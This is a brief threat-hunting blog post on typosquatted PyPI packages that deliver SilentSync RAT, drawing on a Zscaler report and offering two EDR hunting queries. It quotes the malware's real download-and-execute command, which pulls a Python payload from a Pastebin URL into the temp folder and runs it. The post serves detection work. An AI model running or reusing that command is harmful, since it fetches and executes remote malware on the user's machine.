263. Hunting for PyPI Packages Delivering SilentSync RAT

Hello everyone!

Today we'll look inside Zscaler report, and look at some behaviours we can use to hunt for malicious PyPI packages delivering SilentSync RAT.

One more time the adversary leveraged typosquatting for a legitimate package, this time for sisa, so a victim would download it instead of the legitimate one.

Uncovered malicious packages, sisaws and secmeasure, retrieved the RAT from Pastebin using the following command:

curl -sL https://pastebin[.]com/raw/jaH2uRE1 -o %TEMP%\\helper.py && python %TEMP%\\helper.py

Here we have at least two huting opportunities. First, we can hunt for cURL retrieving files from Pastebin:

event_type: "processcreatewin"

AND

proc_file_path: "curl.exe"

AND

cmdline: "pastebin.com"

The second - running suspicious files from a temporary folder with Python interpreter:

event_type: "processcreatewin"

AND

proc_file_path: "python.exe"

AND

cmdline: "temp"

See you tomorrow!

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